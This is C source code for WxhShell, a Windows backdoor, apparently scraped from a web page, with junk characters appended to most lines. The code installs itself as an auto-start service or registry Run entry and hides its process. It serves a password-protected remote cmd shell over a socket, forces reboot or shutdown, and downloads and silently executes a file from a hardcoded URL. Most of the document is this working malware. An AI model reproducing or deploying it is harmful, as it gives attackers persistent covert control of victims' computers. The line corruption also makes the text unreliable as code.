  case 'd': { G*3O5m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k 2_ "  
    if(Boot(SHUTDOWN)) 4:y;<8+j\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q --NLm@;  
    else { w<.{(1:v  
    closesocket(wsh); `oXUVr  
    ExitThread(0); G@BF<e{  
    } !2>gC"$nv  
    break; |9{l8`9}_  
    } W5<1@  
  // 获取shell Etg'"d@[  
  case 's': { n$F&gx'^  
    CmdShell(wsh); '9H7I! L@  
    closesocket(wsh); \[% [`m  
    ExitThread(0); /}]X3ng  
    break; Qj VP]C}p  
  } YFy5>*W  
  // 退出 S%R:GZEf_  
  case 'x': { :S{[^ -"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yE. ZvvQA  
    CloseIt(wsh); A d=NJhzl  
    break; 9<W0'6%{/  
    } i:ZpAo+Z{  
  // 离开 tE/j3  
  case 'q': { 'd D d9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~^UQw? ;  
    closesocket(wsh); /<\>j+SC  
    WSACleanup(); w*eO9k  
    exit(1); 66,?f<b  
    break; s>9w+|6Ji  
        } #(?EL@5  
  } 8Tyf#`'I  
  } K!lGo3n]  
A=Q"IdK  
  // 提示信息 /9/=]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3&/5!zOg)  
} aqK<}jy  
  } iL\<G} I  
&$ia#j{l  
  return; aF;Q SI  
} -^Baxkq(YM  
\=?f4*4|/  
// shell模块句柄 Klzsr,  
int CmdShell(SOCKET sock) @f-0OX$*  
{ u0^GB9q  
STARTUPINFO si; D[x0sly  
ZeroMemory(&si,sizeof(si)); l Ztq_* Fl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (@vu/yN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n"Ot'1yr  
PROCESS_INFORMATION ProcessInfo; '3 xvQFg  
char cmdline[]="cmd"; =1!wep"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~ T|?!zML  
  return 0; JM0'V0z  
} WJ9Jj69  
{*bXO8vi((  
// 自身启动模式 l}&egq DC  
int StartFromService(void) n9B1NM5 \  
{ jFZJ #'CNS  
typedef struct 3l0x~  
{ -5l74f!i  
  DWORD ExitStatus; *6cP-Vzd  
  DWORD PebBaseAddress; CP)x;  
  DWORD AffinityMask; 4Cr |]o'  
  DWORD BasePriority; 3 (Kj|u  
  ULONG UniqueProcessId; 1C6H\;  
  ULONG InheritedFromUniqueProcessId; $5z O=`  
}   PROCESS_BASIC_INFORMATION; x>8=CiUE  
9He>F7J:p'  
PROCNTQSIP NtQueryInformationProcess; .h-:) e*  
(y7U}Sb'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B9`nV.a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sa36=:5x-  
w8:~LX.n  
  HANDLE             hProcess; 1tHTjEG4^3  
  PROCESS_BASIC_INFORMATION pbi; 8QV+DDZx  
d nWh}!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gm B?L0UV  
  if(NULL == hInst ) return 0; *IJctYJaX  
J 6U3}SO=y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Dtl381F J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hhLEU_U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h`F8GNx(  
&ok2Xw  
  if (!NtQueryInformationProcess) return 0; `So*\#\T  
`{s:lf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t5G@M&d4Eo  
  if(!hProcess) return 0; ;>{B K,  
Q7zg i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =ltT6of@o  
yeqZPz n  
  CloseHandle(hProcess); W6_/FkO  
b/5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QXqBb$AXi,  
if(hProcess==NULL) return 0; Fr?o 4E6h  
N>giFj[dD  
HMODULE hMod; y)X1!3~(  
char procName[255]; lPFT)>(+@  
unsigned long cbNeeded; YIGQDj@  
Rb\M63q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h1} x2  
>y#<WB$i  
  CloseHandle(hProcess); 8*V^DM3n-  
Jf{6'Ub  
if(strstr(procName,"services")) return 1; // 以服务启动 rwGY)9 |  
73OFFKbsk  
  return 0; // 注册表启动 8Ih+^Y a  
} 3yn>9qt  
N1`/~Gi  
// 主模块 H]K(`)y}4  
int StartWxhshell(LPSTR lpCmdLine) Q"n|<!DN  
{ (E )@@p7,:  
  SOCKET wsl; `j{ 5$X  
BOOL val=TRUE; 9IZ}}x  
  int port=0; UmZ#Cm  
  struct sockaddr_in door; ig3HPlC  
Vi[* a  
  if(wscfg.ws_autoins) Install(); EH<rUv63  
#G%[4.$n.  
port=atoi(lpCmdLine); _"%mLH=!8  
TC;2K,.#k  
if(port<=0) port=wscfg.ws_port; ,rx?Ig}k z  
|fkz=*rn  
  WSADATA data; eS{lr4-]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E8j>Toz  
{{w5F2b((%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gBGUGjVj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^cB83%<Z  
  door.sin_family = AF_INET; :t+XW`eQR:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MgyV {`  
  door.sin_port = htons(port); ZE863M@.  
T+7-6y+ d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Ynv=G Qz  
closesocket(wsl); u+"3l@Y#  
return 1; \tH^w@j47  
} bII pJQ1.[  
Xg E\q  
  if(listen(wsl,2) == INVALID_SOCKET) { *o <S{  
closesocket(wsl); bim}{wMb  
return 1; 97;`R[^J  
} N K.]yw'  
  Wxhshell(wsl); \7o&'zEw  
  WSACleanup(); 9}LcJ  
{?yZdL:m)  
return 0; ZT;$aNy  
},zP,y:cH  
} 31v0V:j  
tjYqdbA)  
// 以NT服务方式启动 g.$a]pZz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 06-QE^  
{ Dz4e.tvN  
DWORD   status = 0; tGv5pe*r  
  DWORD   specificError = 0xfffffff; Tl>D=Vnhh  
3BHPD;U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0<Q['l4Ar  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }}L :6^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; If[4]-dq  
  serviceStatus.dwWin32ExitCode     = 0; 8>Az<EF^=#  
  serviceStatus.dwServiceSpecificExitCode = 0; P]w5`aBM  
  serviceStatus.dwCheckPoint       = 0; "X<vgM^:  
  serviceStatus.dwWaitHint       = 0; 6z (7l  
Ud@D%?A7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \>,[5|GU  
  if (hServiceStatusHandle==0) return; &p|+K XIf  
tP/0_^m  
status = GetLastError(); b?S,%  
  if (status!=NO_ERROR) x UM,"+h  
{ fg"]4&`j-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W>$2BsO  
    serviceStatus.dwCheckPoint       = 0; mcbvB5U  
    serviceStatus.dwWaitHint       = 0; W6STjtT3P  
    serviceStatus.dwWin32ExitCode     = status; ((OQs.  
    serviceStatus.dwServiceSpecificExitCode = specificError; /o@6? UH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ZUI~:U Z  
    return; jD]Ci#|W  
  } 3Wv -olv  
(SMnYh4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zM:&`6;e  
  serviceStatus.dwCheckPoint       = 0; ]34fG3D|  
  serviceStatus.dwWaitHint       = 0; kF{'?R5 w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #_oN.1u57  
} 0m8mHJ<&  
t @=*k9  
// 处理NT服务事件,比如:启动、停止 Ed">$S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'YKyY:eZ  
{ J)7m::%I  
switch(fdwControl) rLP:kP'b  
{ WTWONO>  
case SERVICE_CONTROL_STOP: b2rlj6d  
  serviceStatus.dwWin32ExitCode = 0; ?fv5KdD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VS.~gHx  
  serviceStatus.dwCheckPoint   = 0; Jkf%k3H3I*  
  serviceStatus.dwWaitHint     = 0; LdAWCBLS  
  { :@x_& b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  \_GG6  
  } Vz4 /u|gt  
  return; ,v^A;,q  
case SERVICE_CONTROL_PAUSE: ldFK3+V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NA@<v{z  
  break; pf&H !-M  
case SERVICE_CONTROL_CONTINUE: | R\PQ/)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P_7QZ0k/  
  break; OO$YwOKS  
case SERVICE_CONTROL_INTERROGATE: 8s+9PE  
  break; lk/T| 0])  
}; vMD%.tk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9x4%M&<Z9a  
} Mk=M)d`  
r1pj-   
// 标准应用程序主函数 {S l#z }@s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,Q%q!#@  
{ z?Hi u6c-  
/2s=;tA1  
// 获取操作系统版本 Hsdcv~Xr;l  
OsIsNt=GetOsVer();  kD}w5 U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZwzN=03T  
u4eA++ eT  
  // 从命令行安装 GvB;o^Wd  
  if(strpbrk(lpCmdLine,"iI")) Install(); $%:=;1Jl  
\ t=ls  
  // 下载执行文件 [ :Upn)9  
if(wscfg.ws_downexe) { 0eMO`8u[A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0R21"]L_M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,_wpYTl*X  
} H^TU?vz} <  
?:$aX@r  
if(!OsIsNt) { '}$]V>/  
// 如果时win9x,隐藏进程并且设置为注册表启动 ScCp88KpFI  
HideProc(); 6y0CEly>3#  
StartWxhshell(lpCmdLine); 4LY$;J;2  
} ;xXD2{q  
else ffH]`N  
  if(StartFromService()) J]AkWEiCJ  
  // 以服务方式启动 J=l\t7w  
  StartServiceCtrlDispatcher(DispatchTable); :abpht  
else >Tf <8r,  
  // 普通方式启动 Hoj'zY  
  StartWxhshell(lpCmdLine); yhPO$L  
+sY8<y@%  
return 0; z JBcz,  
} +<})`(8  
 gl$}t H  
 9M]%h  
Jn\@wF9xd  
=========================================== >?L)+*^  
D!g \-y  
7;8DKY q  
F!RzF7h1  
IE*5p6IM~  
~[Fh+t(Y  
" QAxR'.d  
=".sCV9"N  
#include <stdio.h> W Te1E,M  
#include <string.h> lj US-6  
#include <windows.h> \D5_g8m:  
#include <winsock2.h> F?c : ).g  
#include <winsvc.h> xoB "hNIX  
#include <urlmon.h> w3>.d(Q  
O>c2*9PM  
#pragma comment (lib, "Ws2_32.lib") SB) Hz8<  
#pragma comment (lib, "urlmon.lib") N5F+h94z]  
AMSn^ 75  
#define MAX_USER   100 // 最大客户端连接数 KvvG H-]  
#define BUF_SOCK   200 // sock buffer T/Bx3VWL  
#define KEY_BUFF   255 // 输入 buffer Z~{0x#?4%  
4#Rq}/h  
#define REBOOT     0   // 重启 RD_l  
#define SHUTDOWN   1   // 关机 8mn zxtk  
$5r1Si)  
#define DEF_PORT   5000 // 监听端口 p!o+8Xz5  
!h.bD/? K  
#define REG_LEN     16   // 注册表键长度 CBu$8]9=  
#define SVC_LEN     80   // NT服务名长度 ba "_ !D1  
H1or,>GoO  
// 从dll定义API +ab#2~,)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4|INy =<"t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gk^`-`P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3d;w\#? L;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /4Sul*{hc  
08W^  
// wxhshell配置信息 5uAUi=XA>S  
struct WSCFG { W5U;{5  
  int ws_port;         // 监听端口 aUyJi  
  char ws_passstr[REG_LEN]; // 口令 V }wh  
  int ws_autoins;       // 安装标记, 1=yes 0=no p9Y`_g`  
  char ws_regname[REG_LEN]; // 注册表键名 `]$H\gNI[8  
  char ws_svcname[REG_LEN]; // 服务名 ,AuejMd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /8[T2Z!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xN>+!&3%w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [E:-$R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rXF=/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (@3?JJ]1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hNL_ e3  
Wg[ThaZ  
}; p8X$yv  
 $1.l|  
// default Wxhshell configuration pcO{%]?p  
struct WSCFG wscfg={DEF_PORT, MngfXm  
    "xuhuanlingzhe", r.10b]b  
    1, [W--%=Ou  
    "Wxhshell", ]D\p<4uepM  
    "Wxhshell", +]S!pyZ"   
            "WxhShell Service", tKLAA+Z  
    "Wrsky Windows CmdShell Service", be(p13&od  
    "Please Input Your Password: ", |>Wi5h{6X  
  1, Y6ORI  
  "http://www.wrsky.com/wxhshell.exe", M^?=!!US^  
  "Wxhshell.exe" 8 huB<^  
    }; v>' mW  
gH[lpRu|7  
// 消息定义模块 39Zs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; />[~2d kb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BDc "0XH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c 6$n:  
char *msg_ws_ext="\n\rExit."; kOLS<>.  
char *msg_ws_end="\n\rQuit."; O#@KP"8  
char *msg_ws_boot="\n\rReboot..."; J%ue{PL7  
char *msg_ws_poff="\n\rShutdown..."; Ku<_N]9  
char *msg_ws_down="\n\rSave to "; &k0c|q]  
gt:Ot0\7  
char *msg_ws_err="\n\rErr!"; ~\~XD+jy"  
char *msg_ws_ok="\n\rOK!"; *h Bo,   
pNzpT!}H>  
char ExeFile[MAX_PATH]; xx EcmS#>  
int nUser = 0; 5:x .<  
HANDLE handles[MAX_USER]; #7dM %  
int OsIsNt; BGZvgMxLJ  
/u N3"m5i  
SERVICE_STATUS       serviceStatus; QAK.Qk?Qu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RWK##VHK  
Dwi[aC+k  
// 函数声明 :rX/I LAr  
int Install(void); iT"H%{+~  
int Uninstall(void); @V5'+^O  
int DownloadFile(char *sURL, SOCKET wsh); G[[NDK  
int Boot(int flag); K)n0?Q_>  
void HideProc(void); pgU4>tyD  
int GetOsVer(void); 9KLhAYaq  
int Wxhshell(SOCKET wsl); lL6qK&;  
void TalkWithClient(void *cs); !Knv/:+  
int CmdShell(SOCKET sock); o]@g%_3X  
int StartFromService(void); m8ydX6~max  
int StartWxhshell(LPSTR lpCmdLine); lITZ|u  
]Zz<9zix  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *|Fl&`2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Or[uq,Dm16  
7LdNE|IP  
// 数据结构和表定义 S&m5]h!D  
SERVICE_TABLE_ENTRY DispatchTable[] = Le':b2o  
{ L7&|  
{wscfg.ws_svcname, NTServiceMain}, L~~Dj:%uq  
{NULL, NULL} iWNTI  
}; )QiHe}  
R WU,v{I9  
// 自我安装 `L<)9*  
int Install(void) gZ1|b  
{ 7f`x-iH!]7  
  char svExeFile[MAX_PATH]; 3kBpH7h4  
  HKEY key; w_ po47S4  
  strcpy(svExeFile,ExeFile); m%?b"kxL[  
|Zo_x} 0  
// 如果是win9x系统,修改注册表设为自启动 R(sa.Q\D4  
if(!OsIsNt) { B(%bBhs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8!AMRE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  p3r1lUw  
  RegCloseKey(key); e`Z3{H}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oNV(C'A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @5# RGM)5^  
  RegCloseKey(key); =7Y gES  
  return 0; 4$+9k;m'  
    } <AB.`["  
  } T6ZJSKM  
} ,-XJ@@2gM  
else { t(:6S$6{e  
e[@ ^UY  
// 如果是NT以上系统,安装为系统服务 2)^[SpZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7" wn0 24  
if (schSCManager!=0) WxS=Aip'  
{ 7#R& OQ  
  SC_HANDLE schService = CreateService {@u}-6:wAT  
  ( m 5NF)eL  
  schSCManager, ;,h*s, i  
  wscfg.ws_svcname, IBzHXa>75  
  wscfg.ws_svcdisp, ptmPO4f  
  SERVICE_ALL_ACCESS, 9h6xli  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IK6XJsz$J  
  SERVICE_AUTO_START, 4l?98  
  SERVICE_ERROR_NORMAL, _u:4y4}  
  svExeFile, 3&@MZF&  
  NULL, s `r  tr  
  NULL, OQA3~\Vu  
  NULL, 6]}Xi:I  
  NULL, g/q$;cB  
  NULL =;3|?J0=  
  ); CFh&z^]PR  
  if (schService!=0) u0J+Nj9  
  { o/fq  
  CloseServiceHandle(schService); GZc%*  
  CloseServiceHandle(schSCManager); `Vwj|[0k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wz!]]EQ!o  
  strcat(svExeFile,wscfg.ws_svcname); 4[!&L:tR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x./jTebeO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ma }Y\(38  
  RegCloseKey(key); 2/B Flb  
  return 0; #1zWzt|DW  
    } _+8$=k2nM  
  } }# -N7=h  
  CloseServiceHandle(schSCManager); 9_ Qm_  
} <][|,9mw  
} R^F99L  
{Pg7IYjH  
return 1; V]PTAhc  
} $XI5fa4Tt  
pKMf#)qm  
// 自我卸载 7@vc Qv kC  
int Uninstall(void) *k'9 %'<  
{ j86s[Dty  
  HKEY key; I01On>"@7  
i*Y/q-N|  
if(!OsIsNt) { 't{=n[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Tp n`2F  
  RegDeleteValue(key,wscfg.ws_regname); |U^ ff^]  
  RegCloseKey(key); 2uWzcy ?F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Kv=;o=U  
  RegDeleteValue(key,wscfg.ws_regname); ,h]N*Z-I"  
  RegCloseKey(key); :7Vm]xd}do  
  return 0; 4:<0i0)5  
  } 5H 1(C#|  
} nL+*Ja  
} }M|  
else { ;lAz@jr+  
u3,b,p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {djOU 9]  
if (schSCManager!=0) oT|E\wj  
{ .(S,dG0P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /p>"|z  
  if (schService!=0) 6XQ)Q)  
  { 66'TdF]"  
  if(DeleteService(schService)!=0) { h)wR[N]n  
  CloseServiceHandle(schService); ~:)$~g7>b  
  CloseServiceHandle(schSCManager); :M3l#`4Q  
  return 0; O:7y-r0i  
  } 6g$04C3tHi  
  CloseServiceHandle(schService); ~*B1}#;  
  } z7PPwTBa  
  CloseServiceHandle(schSCManager); <tF]>(|M  
} T"d]QYJS  
} il-&d]AP  
5Ll[vBW  
return 1; Lp ]d4"L;3  
} ~82jL%-u  
(rw bF  
// 从指定url下载文件 xJ&StN/'  
int DownloadFile(char *sURL, SOCKET wsh) 82)d.>  
{ ]K9 x<@!  
  HRESULT hr; j9u-C/Q\r  
char seps[]= "/"; ;v0sM*x%V  
char *token; Z=F=@<!  
char *file; Wt3\&.n  
char myURL[MAX_PATH]; 6!"15dPN  
char myFILE[MAX_PATH]; ZTmdS  
',!#?aGV  
strcpy(myURL,sURL); 2qr%xK'^B  
  token=strtok(myURL,seps); N'`*#UI+  
  while(token!=NULL) n1ED _9  
  { QHs]~Ja  
    file=token; 5h> gz  
  token=strtok(NULL,seps); n)K6Z{x  
  } AN~1E@"  
`z=MI66Nl  
GetCurrentDirectory(MAX_PATH,myFILE); <![T~<.  
strcat(myFILE, "\\"); ZY/at/v  
strcat(myFILE, file); ,OasT!Sr  
  send(wsh,myFILE,strlen(myFILE),0); sG VC+!E  
send(wsh,"...",3,0); MJg^ QVM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E>g'!  
  if(hr==S_OK) zWY6D4   
return 0; &erNVD5o  
else 5;^8wh(  
return 1; 84 knoC  
.M! (|KE4  
} i5n 'f6C  
QHM39Eu]  
// 系统电源模块 ./g0T{&  
int Boot(int flag) kv5Qxj}  
{ S$H4xkKs  
  HANDLE hToken; &1[5b8H;+  
  TOKEN_PRIVILEGES tkp; Xl aNR+  
]52_p[hZ}<  
  if(OsIsNt) { =;{S>P!I(t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z9sg6M@s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8@qahEgQ  
    tkp.PrivilegeCount = 1; MoX* e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nK|";  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WWe.1A,  
if(flag==REBOOT) { Ka{IueSs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FCe503qND$  
  return 0; x9ws@=[:  
} 0?:ZERv  
else {  ]t=>#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u3ZG;ykM  
  return 0; Fu`g)#Z  
} I&xRK'  
  } Q.|2/6hD7[  
  else { {'ZnxK'  
if(flag==REBOOT) { o&AUB` .9~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k Z3tz?Du  
  return 0; ;4_n:XUgo;  
} ~J2Q0Jv  
else { 9qW,I|G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X%-4x   
  return 0; wd]Yjr#%Ii  
} sooh yK8  
} @fK`l@K  
9BY b{<0tS  
return 1; ?)X@4Jem  
} * =Fcu@  
<Q0&[q;Z  
// win9x进程隐藏模块 j;y|Ys)I  
void HideProc(void) us cR/d  
{ &q U[ wn:1  
4|e#b(!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J91`wA&r  
  if ( hKernel != NULL ) S3<v?tqLr  
  { l>iU Q&V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r%#qbsN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9j"\Lr*o "  
    FreeLibrary(hKernel); vuZ<'?Nm  
  } fkG8,=  
oN$ZZk R  
return; (NQ[AypMI  
} e)7)~g54  
cm3Y!p{p"  
// 获取操作系统版本 'SieZIm)  
int GetOsVer(void) &zp5do;m  
{ 3u^TJt)  
  OSVERSIONINFO winfo; (wfg84  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p\WUk@4  
  GetVersionEx(&winfo); kT1lOP-Bg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VJ"3G;;  
  return 1; ~<%cc+;`  
  else U)!AH^{32  
  return 0; 8if"U xV(  
} F"=MU8  
,54<U~Lg:  
// 客户端句柄模块 Wg%-m%7O  
int Wxhshell(SOCKET wsl) t>fB@xHBB  
{ 8z CAy@u  
  SOCKET wsh; 3KKe4{oG  
  struct sockaddr_in client; T42g4j/l~  
  DWORD myID; twtDyo(\  
,fw[J  
  while(nUser<MAX_USER) J]0#M:w&  
{ 0- UeFy  
  int nSize=sizeof(client); {P-PH$ E-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *LRGfk+h  
  if(wsh==INVALID_SOCKET) return 1; ^sKXn:)  
MUrY>FYgx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2z\F m/Z.  
if(handles[nUser]==0) b{rmxtx  
  closesocket(wsh); 'dzp@-\  
else L@Z &v'A  
  nUser++; 4.'EEuRw\}  
  } + LwoBn>6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  kTz  
oc(bcU  
  return 0; rd)) H  
} *eP4dGe&  
o zYI/b^  
// 关闭 socket Pb,^UFa=  
void CloseIt(SOCKET wsh) >{S$0D  
{ ECScx02  
closesocket(wsh); !iVFzG @m  
nUser--; )ta5y7np  
ExitThread(0); 6dL>Rzl$Dk  
} u-_$?'l;~  
7gwZ9Fob  
// 客户端请求句柄 1l_}O1  
void TalkWithClient(void *cs) -G;1U  
{ ,#T3OA!c**  
F4x7;?W{*  
  SOCKET wsh=(SOCKET)cs; FW DuH`-5  
  char pwd[SVC_LEN]; O+?zn:  
  char cmd[KEY_BUFF]; kPH^X}O$  
char chr[1]; v8Zg og)V  
int i,j; bJm0  
~ ""MeaM8[  
  while (nUser < MAX_USER) { q4i8Sp>  
j6vZ{Fx;w  
if(wscfg.ws_passstr) { $:[BB ,$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0*?XQV@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yV/ J(  
  //ZeroMemory(pwd,KEY_BUFF); SN(=e#ljE  
      i=0; noA\5&hqW  
  while(i<SVC_LEN) { )6&\WNL-x  
pT@!O}'$  
  // 设置超时 \&5@yh  
  fd_set FdRead; LG#w/).^  
  struct timeval TimeOut; $>=Nb~t!/  
  FD_ZERO(&FdRead); 0 '7s  
  FD_SET(wsh,&FdRead); 2\{uq v  
  TimeOut.tv_sec=8; hPz df*(8  
  TimeOut.tv_usec=0; {*;]I?9Al  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C..2y4bA}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OLNn3 J  
"t:.mA<v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @/~k8M/  
  pwd=chr[0]; e6HlOGPVQH  
  if(chr[0]==0xd || chr[0]==0xa) { tR* W-%  
  pwd=0; _]UDmn[C  
  break; 9*;isMkq<  
  } ;jU-<  
  i++; -]\E}Ti  
    } df6&Nu;4L  
xzl4v=7  
  // 如果是非法用户,关闭 socket I ~L Q1 _  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F/*fQAa"  
} } Tr83B|  
x7Rq|NQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t;dQ~e20  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^HFU@/  
2ZbY|8X$r  
while(1) { o:8S$F`O@  
xd fvme[  
  ZeroMemory(cmd,KEY_BUFF); 8EG8!,\I  
Cw[Od"B\?U  
      // 自动支持客户端 telnet标准   #A/J^Ko  
  j=0; hcd>A vC8  
  while(j<KEY_BUFF) { (1SO;8k\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _8li4;F  
  cmd[j]=chr[0]; Mc7<[a  
  if(chr[0]==0xa || chr[0]==0xd) { |M<.O~|D6}  
  cmd[j]=0; h:jI  
  break; d50IAa^p6J  
  } M.:@<S  
  j++; `s83r hs`!  
    } d=(Yl r  
$^=jPk]+  
  // 下载文件 RA/ =w&  
  if(strstr(cmd,"http://")) { 8U<.16+5Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mXU?+G0  
  if(DownloadFile(cmd,wsh)) aI{@]hCo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~|Ih JzDt  
